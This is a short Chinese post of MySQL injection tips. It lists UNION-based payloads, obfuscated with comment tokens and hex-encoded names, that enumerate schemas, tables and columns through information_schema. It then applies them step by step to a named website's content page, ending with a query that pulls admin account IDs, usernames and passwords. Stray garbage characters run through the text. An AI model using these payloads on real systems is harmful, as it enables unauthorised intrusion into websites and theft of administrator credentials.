mysql注入技巧

admin

查库

6 H, |  n6 m+ yid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*
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id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
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id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

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/ a) c0 v! @; f8 w" Hmysql5高级注入方法暴表
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- a: j  c- J/ m  c7 M1 t3 r* D例子如下:

1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
1 I4 Q$ ]4 p0 @6 E2 `8 I这样爆到第4个时出现了admin_user表。

2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
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8 l! U5 ^/ S& v. s$ ]3.爆密码
3 }  y0 ~% w; d# N  v7 d8 T1 Ohttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*